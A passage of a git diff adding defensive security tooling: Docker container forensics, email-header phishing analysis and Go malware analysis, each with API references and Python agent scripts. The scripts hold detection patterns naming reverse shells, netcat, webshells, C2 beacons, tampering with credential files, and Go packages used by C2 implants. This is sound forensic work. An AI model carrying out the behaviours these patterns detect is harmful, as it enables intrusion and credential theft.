entropy={shannon_entropy(ex)}") diff --git a/skills/analyzing-docker-container-forensics/LICENSE b/skills/analyzing-docker-container-forensics/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-docker-container-forensics/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-docker-container-forensics/references/api-reference.md b/skills/analyzing-docker-container-forensics/references/api-reference.md new file mode 100644 index 00000000..aa7c35db --- /dev/null +++ b/skills/analyzing-docker-container-forensics/references/api-reference.md @@ -0,0 +1,116 @@ +# API Reference: Docker Container Forensics Tools + +## docker inspect - Container Details + +### Syntax +```bash +docker inspect +docker inspect --format '{{.HostConfig.Privileged}}' +docker inspect --format '{{json .Mounts}}' | jq +docker inspect --format '{{.GraphDriver.Data.MergedDir}}' +``` + +### Key JSON Paths +| Path | Description | +|------|-------------| +| `.HostConfig.Privileged` | Privileged mode status | +| `.HostConfig.CapAdd` | Added capabilities | +| `.HostConfig.PidMode` | PID namespace mode | +| `.HostConfig.NetworkMode` | Network namespace mode | +| `.Mounts` | Volume mount configuration | +| `.Config.User` | Container user | +| `.Config.Env` | Environment variables | +| `.Config.Image` | Source image name | +| `.State.StartedAt` | Container start time | + +## docker diff - Filesystem Changes + +### Syntax +```bash +docker diff +``` + +### Output Codes +| Code | Meaning | +|------|---------| +| `A` | File or directory was added | +| `C` | File or directory was changed | +| `D` | File or directory was deleted | + +## docker export - Container Filesystem Export + +### Syntax +```bash +docker export > container_fs.tar +docker export | gzip > container_fs.tar.gz +``` + +## docker commit / docker save - Image Preservation + +### Syntax +```bash +docker commit forensic-evidence:case001 +docker save forensic-evidence:case001 > evidence_image.tar +``` + +## docker logs - Container Log Retrieval + +### Syntax +```bash +docker logs --timestamps +docker logs --since 2024-01-15 +docker logs --tail 1000 +docker logs -f # Follow (live) +``` + +## dive - Image Layer Analysis + +### Syntax +```bash +dive # Interactive mode +dive --ci # CI mode (non-interactive) +dive --ci --json out.json # JSON output +``` + +### Output Includes +- Layer-by-layer filesystem changes +- Image efficiency score +- Wasted space analysis + +## container-diff - Image Comparison + +### Syntax +```bash +container-diff diff daemon://nginx:latest daemon://suspect:latest \ + --type=file --type=apt --type=history --json +``` + +### Diff Types +| Type | Description | +|------|-------------| +| `file` | File system differences | +| `apt` | APT package differences | +| `pip` | Python package differences | +| `history` | Docker build history differences | + +## Trivy - Vulnerability Scanning + +### Syntax +```bash +trivy image +trivy image --format json +trivy image --scanners vuln,secret +trivy fs /path/to/exported/container/ +``` + +### Severity Levels +`CRITICAL` | `HIGH` | `MEDIUM` | `LOW` | `UNKNOWN` + +## docker-explorer - Offline Forensics + +### Syntax +```bash +de.py -r /var/lib/docker list +de.py -r /var/lib/docker mount /mnt/forensic +de.py -r /var/lib/docker history +``` diff --git a/skills/analyzing-docker-container-forensics/scripts/agent.py b/skills/analyzing-docker-container-forensics/scripts/agent.py new file mode 100644 index 00000000..5889da77 --- /dev/null +++ b/skills/analyzing-docker-container-forensics/scripts/agent.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +"""Docker container forensics agent for investigating compromised containers.""" + +import subprocess +import json +import os +import sys +import hashlib +import datetime + + +def run_cmd(cmd): + """Execute a shell command and return output.""" + result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def list_containers(all_containers=True): + """List Docker containers with detailed information.""" + flags = "-a" if all_containers else "" + cmd = f"docker ps {flags} --no-trunc --format '{{{{json .}}}}'" + stdout, _, rc = run_cmd(cmd) + containers = [] + if rc == 0 and stdout: + for line in stdout.splitlines(): + try: + containers.append(json.loads(line)) + except json.JSONDecodeError: + continue + return containers + + +def inspect_container(container_id): + """Get detailed container inspection data.""" + stdout, _, rc = run_cmd(f"docker inspect {container_id}") + if rc == 0 and stdout: + return json.loads(stdout) + return None + + +def analyze_security_config(inspect_data): + """Analyze container security configuration for misconfigurations.""" + if isinstance(inspect_data, list): + inspect_data = inspect_data[0] + findings = [] + host_config = inspect_data.get("HostConfig", {}) + config = inspect_data.get("Config", {}) + + if host_config.get("Privileged"): + findings.append({"severity": "CRITICAL", "finding": "Container running in PRIVILEGED mode"}) + + cap_add = host_config.get("CapAdd") or [] + dangerous_caps = ["SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "SYS_MODULE", + "DAC_OVERRIDE", "NET_RAW"] + for cap in cap_add: + if cap in dangerous_caps: + findings.append({"severity": "HIGH", "finding": f"Dangerous capability added: {cap}"}) + + if host_config.get("PidMode") == "host": + findings.append({"severity": "HIGH", "finding": "Shares host PID namespace"}) + + if host_config.get("NetworkMode") == "host": + findings.append({"severity": "HIGH", "finding": "Shares host network namespace"}) + + mounts = inspect_data.get("Mounts", []) + sensitive_paths = ["/", "/etc", "/var", "/root", "/home", "/var/run/docker.sock"] + for mount in mounts: + src = mount.get("Source", "") + rw = mount.get("RW", False) + if src in sensitive_paths and rw: + findings.append({ + "severity": "CRITICAL", + "finding": f"Sensitive host path mounted RW: {src} -> {mount.get('Destination')}" + }) + if "docker.sock" in src: + findings.append({ + "severity": "CRITICAL", + "finding": "Docker socket mounted (container can control Docker daemon)" + }) + + user = config.get("User", "") + if not user or user == "root": + findings.append({"severity": "MEDIUM", "finding": "Running as root user"}) + + env_vars = config.get("Env", []) + secret_keywords = ["PASSWORD", "SECRET", "KEY", "TOKEN", "CREDENTIAL", "API_KEY"] + for env in env_vars: + key = env.split("=")[0] + if any(s in key.upper() for s in secret_keywords): + findings.append({"severity": "HIGH", "finding": f"Sensitive env var exposed: {key}"}) + + return findings + + +def get_filesystem_changes(container_id): + """Get filesystem changes between container and its image.""" + stdout, _, rc = run_cmd(f"docker diff {container_id}") + changes = {"added": [], "changed": [], "deleted": []} + if rc == 0 and stdout: + for line in stdout.splitlines(): + line = line.strip() + if line.startswith("A "): + changes["added"].append(line[2:]) + elif line.startswith("C "): + changes["changed"].append(line[2:]) + elif line.startswith("D "): + changes["deleted"].append(line[2:]) + return changes + + +def detect_suspicious_files(changes): + """Analyze filesystem changes for indicators of compromise.""" + suspicious_patterns = [ + "/tmp/", "/dev/shm/", "/root/", ".sh", ".py", ".elf", + "reverse", "shell", "backdoor", "miner", "xmr", "nc ", + ".php", "webshell", "c2", "beacon", + ] + suspicious_changes = ["/etc/passwd", "/etc/shadow", "/etc/crontab", + "/etc/ssh", ".bashrc", "/etc/sudoers", "authorized_keys"] + + findings = [] + for f in changes["added"]: + for pattern in suspicious_patterns: + if pattern in f.lower(): + findings.append({"type": "ADDED", "path": f, "reason": f"Matches pattern: {pattern}"}) + break + for f in changes["changed"]: + for pattern in suspicious_changes: + if pattern in f.lower(): + findings.append({"type": "CHANGED", "path": f, "reason": f"Critical file modified"}) + break + return findings + + +def export_container(container_id, output_path): + """Export container filesystem as a tarball for offline analysis.""" + cmd = f"docker export {container_id} > {output_path}" + _, _, rc = run_cmd(cmd) + if rc == 0 and os.path.exists(output_path): + sha256 = hashlib.sha256() + with open(output_path, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return True, sha256.hexdigest() + return False, None + + +def get_container_logs(container_id, tail=500): + """Retrieve container logs with timestamps.""" + stdout, stderr, rc = run_cmd(f"docker logs --timestamps --tail {tail} {container_id}") + return stdout + "\n" + stderr if rc == 0 else None + + +def scan_image_vulnerabilities(image_name): + """Run Trivy vulnerability scan on a container image.""" + cmd = f"trivy image --format json {image_name}" + stdout, _, rc = run_cmd(cmd) + if rc == 0 and stdout: + try: + return json.loads(stdout) + except json.JSONDecodeError: + return None + return None + + +def generate_report(container_id, inspect_data, security_findings, + fs_changes, suspicious_files): + """Generate a forensic analysis report.""" + container_name = "unknown" + image = "unknown" + if inspect_data: + data = inspect_data[0] if isinstance(inspect_data, list) else inspect_data + container_name = data.get("Name", "").lstrip("/") + image = data.get("Config", {}).get("Image", "unknown") + + report = { + "report_type": "Docker Container Forensics", + "timestamp": datetime.datetime.utcnow().isoformat() + "Z", + "container_id": container_id, + "container_name": container_name, + "image": image, + "security_findings": security_findings, + "filesystem_changes": { + "added": len(fs_changes["added"]), + "changed": len(fs_changes["changed"]), + "deleted": len(fs_changes["deleted"]), + }, + "suspicious_files": suspicious_files, + } + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Docker Container Forensics Agent") + print("Security analysis, filesystem diffing, evidence collection") + print("=" * 60) + + container_id = sys.argv[1] if len(sys.argv) > 1 else None + + if container_id: + print(f"\n[*] Analyzing container: {container_id}") + + inspect_data = inspect_container(container_id) + if not inspect_data: + print("[ERROR] Failed to inspect container. Is Docker running?") + sys.exit(1) + + print("\n--- Security Configuration Analysis ---") + findings = analyze_security_config(inspect_data) + for f in findings: + print(f"[{f['severity']}] {f['finding']}") + + print("\n--- Filesystem Changes ---") + changes = get_filesystem_changes(container_id) + print(f" Added: {len(changes['added'])}, Changed: {len(changes['changed'])}, " + f"Deleted: {len(changes['deleted'])}") + + print("\n--- Suspicious Files ---") + suspicious = detect_suspicious_files(changes) + for s in suspicious: + print(f"[!] {s['type']}: {s['path']} ({s['reason']})") + + report = generate_report(container_id, inspect_data, findings, changes, suspicious) + print(f"\n[*] Report:\n{json.dumps(report, indent=2)}") + else: + print("\n[*] Listing all containers...") + containers = list_containers() + for c in containers: + print(f" {c.get('ID', '?')[:12]} {c.get('Names', '?')} {c.get('Status', '?')}") + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-email-headers-for-phishing-investigation/LICENSE b/skills/analyzing-email-headers-for-phishing-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-email-headers-for-phishing-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md b/skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md new file mode 100644 index 00000000..6a690b5a --- /dev/null +++ b/skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md @@ -0,0 +1,121 @@ +# API Reference: Email Header Analysis Tools + +## Python email Module + +### Parsing EML Files +```python +import email +from email import policy + +with open("phishing.eml", "r") as f: + msg = email.message_from_file(f, policy=policy.default) + +msg["From"] # From header +msg["To"] # To header +msg["Subject"] # Subject line +msg["Message-ID"] # Unique message identifier +msg["Reply-To"] # Reply-To address +msg["Return-Path"] # Envelope sender +msg.get_all("Received") # All Received headers (list) +msg.get_all("Authentication-Results") # Auth results +``` + +### Body and Attachment Extraction +```python +body = msg.get_body(preferencelist=("html", "plain")) +content = body.get_content() + +for part in msg.walk(): + if part.get_content_disposition() == "attachment": + filename = part.get_filename() + data = part.get_payload(decode=True) +``` + +## dig - DNS Record Lookup + +### SPF Record +```bash +dig TXT example.com +short +# Output: "v=spf1 include:_spf.google.com ~all" +``` + +### DKIM Record +```bash +dig TXT selector1._domainkey.example.com +short +``` + +### DMARC Record +```bash +dig TXT _dmarc.example.com +short +# Output: "v=DMARC1; p=reject; rua=mailto:dmarc@example.com" +``` + +## pyspf - SPF Validation (Python) + +### Syntax +```python +import spf +result, explanation = spf.check2( + i="203.0.113.45", # Sending IP + s="sender@example.com", # Envelope sender + h="mail.example.com" # HELO hostname +) +# Results: pass, fail, softfail, neutral, none, temperror, permerror +``` + +## dkimpy - DKIM Verification (Python) + +### Syntax +```python +import dkim +with open("email.eml", "rb") as f: + message = f.read() +result = dkim.verify(message) +# Returns True/False +``` + +## AbuseIPDB - IP Reputation + +### API Endpoint +```bash +curl -G "https://api.abuseipdb.com/api/v2/check" \ + -H "Key: YOUR_API_KEY" \ + -H "Accept: application/json" \ + -d "ipAddress=203.0.113.45" -d "maxAgeInDays=90" +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `abuseConfidenceScore` | 0-100 confidence of abuse | +| `totalReports` | Number of abuse reports | +| `countryCode` | Source country | +| `isp` | Internet service provider | + +## VirusTotal - Domain/URL Reputation + +### Domain Lookup +```bash +curl -H "x-apikey: YOUR_KEY" \ + "https://www.virustotal.com/api/v3/domains/suspicious.com" +``` + +### URL Scan +```bash +curl -X POST "https://www.virustotal.com/api/v3/urls" \ + -H "x-apikey: YOUR_KEY" \ + -d "url=http://suspicious-url.com/login" +``` + +## whois - Domain Registration + +### Syntax +```bash +whois suspicious-domain.com +``` + +### Key Fields +- `Registrar` - Domain registrar +- `Creation Date` - When domain was registered +- `Registrant` - Domain owner info +- `Name Server` - Authoritative DNS servers diff --git a/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py b/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py new file mode 100644 index 00000000..dc0201d0 --- /dev/null +++ b/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python3 +"""Email header analysis agent for phishing investigation and sender verification.""" + +import email +import email.utils +import re +import hashlib +import os +import sys +import subprocess +import json +from email import policy + + +def parse_email_file(eml_path): + """Parse an EML file and extract key header fields.""" + with open(eml_path, "r", errors="replace") as f: + msg = email.message_from_file(f, policy=policy.default) + headers = { + "from": str(msg["From"] or ""), + "to": str(msg["To"] or ""), + "subject": str(msg["Subject"] or ""), + "date": str(msg["Date"] or ""), + "message_id": str(msg["Message-ID"] or ""), + "reply_to": str(msg["Reply-To"] or ""), + "return_path": str(msg["Return-Path"] or ""), + "x_mailer": str(msg["X-Mailer"] or ""), + "x_originating_ip": str(msg["X-Originating-IP"] or ""), + } + return msg, headers + + +def extract_received_chain(msg): + """Extract and parse the Received header chain (bottom-up = chronological).""" + received_headers = msg.get_all("Received") or [] + hops = [] + ip_pattern = re.compile(r"\[?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]?") + for i, header in enumerate(reversed(received_headers)): + ips = ip_pattern.findall(header) + hops.append({ + "hop": i + 1, + "header": header.strip()[:200], + "ips": ips, + }) + return hops + + +def extract_authentication_results(msg): + """Extract SPF, DKIM, and DMARC results from Authentication-Results headers.""" + auth_results = msg.get_all("Authentication-Results") or [] + received_spf = str(msg.get("Received-SPF", "")) + dkim_sig = str(msg.get("DKIM-Signature", "")) + results = { + "spf": "unknown", + "dkim": "unknown", + "dmarc": "unknown", + "raw_authentication_results": [], + "received_spf": received_spf, + "has_dkim_signature": bool(dkim_sig), + } + for ar in auth_results: + results["raw_authentication_results"].append(ar.strip()) + ar_lower = ar.lower() + if "spf=" in ar_lower: + spf_match = re.search(r"spf=(\w+)", ar_lower) + if spf_match: + results["spf"] = spf_match.group(1) + if "dkim=" in ar_lower: + dkim_match = re.search(r"dkim=(\w+)", ar_lower) + if dkim_match: + results["dkim"] = dkim_match.group(1) + if "dmarc=" in ar_lower: + dmarc_match = re.search(r"dmarc=(\w+)", ar_lower) + if dmarc_match: + results["dmarc"] = dmarc_match.group(1) + return results + + +def check_from_replyto_mismatch(headers): + """Detect mismatch between From and Reply-To addresses.""" + from_addr = email.utils.parseaddr(headers["from"])[1].lower() + reply_to = headers["reply_to"] + if reply_to: + reply_addr = email.utils.parseaddr(reply_to)[1].lower() + if reply_addr and from_addr != reply_addr: + return True, from_addr, reply_addr + return False, from_addr, None + + +def extract_urls(msg): + """Extract all URLs from the email body.""" + body = msg.get_body(preferencelist=("html", "plain")) + urls = [] + if body: + content = body.get_content() + urls = list(set(re.findall(r"https?://[^\s<>\"']+", content))) + return urls + + +def detect_url_mismatch(msg): + """Detect hyperlinks where display text differs from actual href.""" + body = msg.get_body(preferencelist=("html",)) + mismatches = [] + if body: + content = body.get_content() + href_pattern = re.findall( + r']*href=["\']([^"\']+)["\'][^>]*>(.*?)', content, re.DOTALL + ) + for href, text in href_pattern: + display_urls = re.findall(r"https?://[^\s<]+", text) + if display_urls: + for display_url in display_urls: + if display_url.rstrip("/") != href.rstrip("/"): + mismatches.append({ + "display_url": display_url, + "actual_url": href, + }) + return mismatches + + +def extract_attachments(msg, output_dir=None): + """Extract and hash all email attachments.""" + attachments = [] + for part in msg.walk(): + if part.get_content_disposition() == "attachment": + filename = part.get_filename() or "unnamed_attachment" + content = part.get_payload(decode=True) + if content: + sha256 = hashlib.sha256(content).hexdigest() + md5 = hashlib.md5(content).hexdigest() + att_info = { + "filename": filename, + "size": len(content), + "sha256": sha256, + "md5": md5, + "content_type": part.get_content_type(), + } + if output_dir: + os.makedirs(output_dir, exist_ok=True) + filepath = os.path.join(output_dir, filename) + with open(filepath, "wb") as f: + f.write(content) + att_info["saved_to"] = filepath + attachments.append(att_info) + return attachments + + +def dns_lookup(domain, record_type="TXT"): + """Perform DNS lookup for SPF/DKIM/DMARC records.""" + cmd = f"dig {record_type} {domain} +short" + stdout, _, rc = subprocess.run(cmd, shell=True, capture_output=True, text=True, + timeout=10).stdout, "", 0 + return stdout.strip() if stdout else "" + + +def check_domain_spf(domain): + """Look up the SPF record for a domain.""" + return dns_lookup(domain, "TXT") + + +def check_domain_dmarc(domain): + """Look up the DMARC record for a domain.""" + return dns_lookup(f"_dmarc.{domain}", "TXT") + + +def generate_phishing_indicators(headers, auth, hops, url_mismatches, attachments): + """Compile a list of phishing indicators from the analysis.""" + indicators = [] + mismatch, from_addr, reply_addr = check_from_replyto_mismatch(headers) + if mismatch: + indicators.append(f"From/Reply-To mismatch: {from_addr} vs {reply_addr}") + if auth["spf"] in ("fail", "softfail"): + indicators.append(f"SPF {auth['spf']}") + if auth["dkim"] == "fail" or not auth["has_dkim_signature"]: + indicators.append("DKIM failed or missing") + if auth["dmarc"] in ("fail", "none"): + indicators.append(f"DMARC {auth['dmarc']}") + if url_mismatches: + indicators.append(f"{len(url_mismatches)} URL display/href mismatches detected") + for att in attachments: + if any(att["filename"].endswith(ext) for ext in [".exe", ".scr", ".vbs", ".js", + ".docm", ".xlsm", ".bat", ".ps1", ".hta"]): + indicators.append(f"Suspicious attachment: {att['filename']}") + return indicators + + +if __name__ == "__main__": + print("=" * 60) + print("Email Header Phishing Analysis Agent") + print("SPF/DKIM/DMARC validation, URL analysis, attachment extraction") + print("=" * 60) + + eml_file = sys.argv[1] if len(sys.argv) > 1 else None + + if eml_file and os.path.exists(eml_file): + print(f"\n[*] Analyzing: {eml_file}") + msg, headers = parse_email_file(eml_file) + print(f" From: {headers['from']}") + print(f" To: {headers['to']}") + print(f" Subject: {headers['subject']}") + print(f" Date: {headers['date']}") + + hops = extract_received_chain(msg) + print(f"\n[*] Delivery path: {len(hops)} hops") + for hop in hops: + print(f" Hop {hop['hop']}: IPs={hop['ips']}") + + auth = extract_authentication_results(msg) + print(f"\n[*] Authentication: SPF={auth['spf']} DKIM={auth['dkim']} DMARC={auth['dmarc']}") + + urls = extract_urls(msg) + print(f"\n[*] URLs found: {len(urls)}") + url_mismatches = detect_url_mismatch(msg) + for m in url_mismatches: + print(f" [!] MISMATCH: Display='{m['display_url']}' Actual='{m['actual_url']}'") + + attachments = extract_attachments(msg) + print(f"\n[*] Attachments: {len(attachments)}") + for att in attachments: + print(f" {att['filename']} ({att['size']} bytes) SHA256={att['sha256'][:16]}...") + + indicators = generate_phishing_indicators(headers, auth, hops, url_mismatches, attachments) + if indicators: + print(f"\n[!] PHISHING INDICATORS:") + for ind in indicators: + print(f" - {ind}") + else: + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Provide an EML file for phishing analysis.") diff --git a/skills/analyzing-golang-malware-with-ghidra/LICENSE b/skills/analyzing-golang-malware-with-ghidra/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-golang-malware-with-ghidra/references/api-reference.md b/skills/analyzing-golang-malware-with-ghidra/references/api-reference.md new file mode 100644 index 00000000..5777b76d --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/references/api-reference.md @@ -0,0 +1,90 @@ +# API Reference: Go Malware Analysis with Ghidra + +## Ghidra Go Analysis Setup + +### GoResolver Script (Volexity) +```bash +# Install GoResolver for stripped Go binary function recovery +git clone https://github.com/volexity/GoResolver +# Run against Ghidra project +analyzeHeadless /ghidra_projects MyProject -process go_malware.exe \ + -postScript GoResolver.java +``` + +### Ghidra Built-in Go Support (10.3+) +``` +File > Import > Select Go binary +Analysis > Auto Analyze (includes GolangAnalyzer) +Window > Function Tags > Filter "go." +``` + +## Go Binary Characteristics + +### Build Info Magic +``` +Offset in .go.buildinfo section: "\xff Go buildinf:" +``` + +### gopclntab Magic Bytes +| Go Version | Magic | +|------------|-------| +| 1.2-1.15 | `FB FF FF FF 00 00` | +| 1.16-1.17 | `FA FF FF FF 00 00` | +| 1.18-1.19 | `F0 FF FF FF 00 00` | +| 1.20+ | `F1 FF FF FF 00 00` | + +### String Format +Go strings are length-prefixed (not null-terminated): +``` +struct GoString { + char *ptr; // pointer to string data + int64 length; // string length +}; +``` + +## Go-Specific Ghidra Scripts + +### GoReSym (Mandiant) +```bash +GoReSym -t -d -p /path/to/binary +# -t: Recover type information +# -d: Dump function metadata +# -p: Print package listing +``` + +### redress (Go Reverse Engineering) +```bash +redress -src binary.exe # Reconstruct source tree +redress -pkg binary.exe # List packages +redress -type binary.exe # Type information +redress -string binary.exe # Go string extraction +redress -interface binary.exe # Interface types +``` + +## Go Obfuscation Tools + +| Tool | Technique | Detection | +|------|-----------|-----------| +| garble | Function name hashing, literal obfuscation | Hash-like symbols, missing debug info | +| gobfuscate | Package/function renaming | Random 8-char names | +| go-strip | Symbol table removal | Missing gopclntab entries | + +## Common Go Malware Families + +| Family | Type | Notable Packages | +|--------|------|-----------------| +| Sliver | C2 implant | protobuf, grpc, mtls | +| Merlin | C2 agent | http2, jose, websocket | +| Sunlogin/Cobalt | RAT | screenshot, clipboard, keylog | +| BianLian | Ransomware | crypto/aes, filepath.Walk | +| Royal | Ransomware | goroutine-based parallel encryption | + +## Key Ghidra Analysis Steps +``` +1. Search > For Strings > "go1." (version identification) +2. Search > For Bytes > FB FF FF FF (gopclntab) +3. Symbol Table > Filter "main." (entry points) +4. Navigation > Go To "runtime.main" (program start) +5. Decompiler > Check goroutine spawns (runtime.newproc) +6. Data Types > Apply GoString struct to string references +``` diff --git a/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py b/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py new file mode 100644 index 00000000..37be7309 --- /dev/null +++ b/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python3 +"""Go malware analysis agent for Ghidra-assisted reverse engineering. + +Analyzes Go binaries to extract function names, strings, build metadata, +package information, and detects common Go malware characteristics. +""" + +import struct +import os +import sys +import json +import hashlib +import re +import math +from collections import Counter + + +def compute_hash(filepath): + """Compute SHA-256 hash of file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def shannon_entropy(data): + """Calculate Shannon entropy.""" + if not data: + return 0.0 + freq = Counter(data) + length = len(data) + return -sum((c / length) * math.log2(c / length) for c in freq.values()) + + +def detect_go_binary(filepath): + """Detect if a binary is compiled with Go and extract version info.""" + with open(filepath, "rb") as f: + data = f.read() + + indicators = { + "is_go_binary": False, + "go_version": None, + "go_buildinfo": False, + "gopclntab_found": False, + } + + # Go build info magic + buildinfo_magic = b"\xff Go buildinf:" + offset = data.find(buildinfo_magic) + if offset != -1: + indicators["is_go_binary"] = True + indicators["go_buildinfo"] = True + + # Go version string + version_pattern = rb"go(\d+\.\d+(?:\.\d+)?)" + matches = re.findall(version_pattern, data) + if matches: + indicators["is_go_binary"] = True + versions = sorted(set(m.decode() for m in matches)) + indicators["go_version"] = versions[-1] if versions else None + + # gopclntab (Go PC line table) magic bytes + gopclntab_magics = [ + b"\xfb\xff\xff\xff\x00\x00", # Go 1.2-1.15 + b"\xfa\xff\xff\xff\x00\x00", # Go 1.16-1.17 + b"\xf0\xff\xff\xff\x00\x00", # Go 1.18+ + b"\xf1\xff\xff\xff\x00\x00", # Go 1.20+ + ] + for magic in gopclntab_magics: + if magic in data: + indicators["gopclntab_found"] = True + indicators["is_go_binary"] = True + break + + # Runtime strings + go_strings = [b"runtime.main", b"runtime.goexit", b"runtime.gopanic", + b"runtime.newproc", b"GOROOT", b"GOPATH"] + found_runtime = sum(1 for s in go_strings if s in data) + if found_runtime >= 2: + indicators["is_go_binary"] = True + indicators["runtime_strings_found"] = found_runtime + + return indicators + + +def extract_go_strings(filepath, min_length=6): + """Extract Go-style strings (length-prefixed, not null-terminated).""" + with open(filepath, "rb") as f: + data = f.read() + + # Standard ASCII string extraction + ascii_pattern = re.compile(rb"[\x20-\x7e]{%d,}" % min_length) + strings = [m.group().decode("ascii", errors="replace") for m in ascii_pattern.finditer(data)] + return strings + + +def extract_go_packages(strings_list): + """Identify Go packages from extracted strings.""" + packages = set() + pkg_pattern = re.compile(r"^([a-zA-Z0-9_]+(?:/[a-zA-Z0-9_.-]+)+)\.") + for s in strings_list: + match = pkg_pattern.match(s) + if match: + packages.add(match.group(1)) + # Also look for known Go import paths + for s in strings_list: + if s.startswith("github.com/") or s.startswith("golang.org/"): + parts = s.split("/") + if len(parts) >= 3: + packages.add("/".join(parts[:3])) + return sorted(packages) + + +SUSPICIOUS_GO_PACKAGES = { + "github.com/kbinani/screenshot": "Screen capture capability", + "github.com/atotto/clipboard": "Clipboard access", + "github.com/go-vgo/robotgo": "Desktop automation / keylogging", + "github.com/miekg/dns": "Custom DNS resolution (C2/tunneling)", + "golang.org/x/crypto/ssh": "SSH client (lateral movement)", + "github.com/shirou/gopsutil": "System enumeration", + "github.com/mitchellh/go-ps": "Process listing", + "github.com/gobuffalo/packr": "Binary resource embedding", + "github.com/Ne0nd0g/merlin": "Merlin C2 agent", + "github.com/BishopFox/sliver": "Sliver C2 framework", + "github.com/traefik/yaegi": "Go interpreter (dynamic execution)", +} + + +def detect_suspicious_packages(packages): + """Flag suspicious Go packages commonly used in malware.""" + findings = [] + for pkg in packages: + for sus_pkg, description in SUSPICIOUS_GO_PACKAGES.items(): + if sus_pkg in pkg: + findings.append({"package": pkg, "concern": description}) + return findings + + +def analyze_sections(filepath): + """Analyze PE/ELF sections for Go binary characteristics.""" + with open(filepath, "rb") as f: + magic = f.read(4) + f.seek(0) + data = f.read() + + sections = [] + if magic[:2] == b"MZ": # PE + try: + import pefile + pe = pefile.PE(data=data) + for section in pe.sections: + name = section.Name.rstrip(b"\x00").decode("ascii", errors="replace") + entropy = section.get_entropy() + sections.append({ + "name": name, "virtual_size": section.Misc_VirtualSize, + "raw_size": section.SizeOfRawData, "entropy": round(entropy, 3), + }) + pe.close() + except ImportError: + sections.append({"note": "pefile not installed"}) + elif 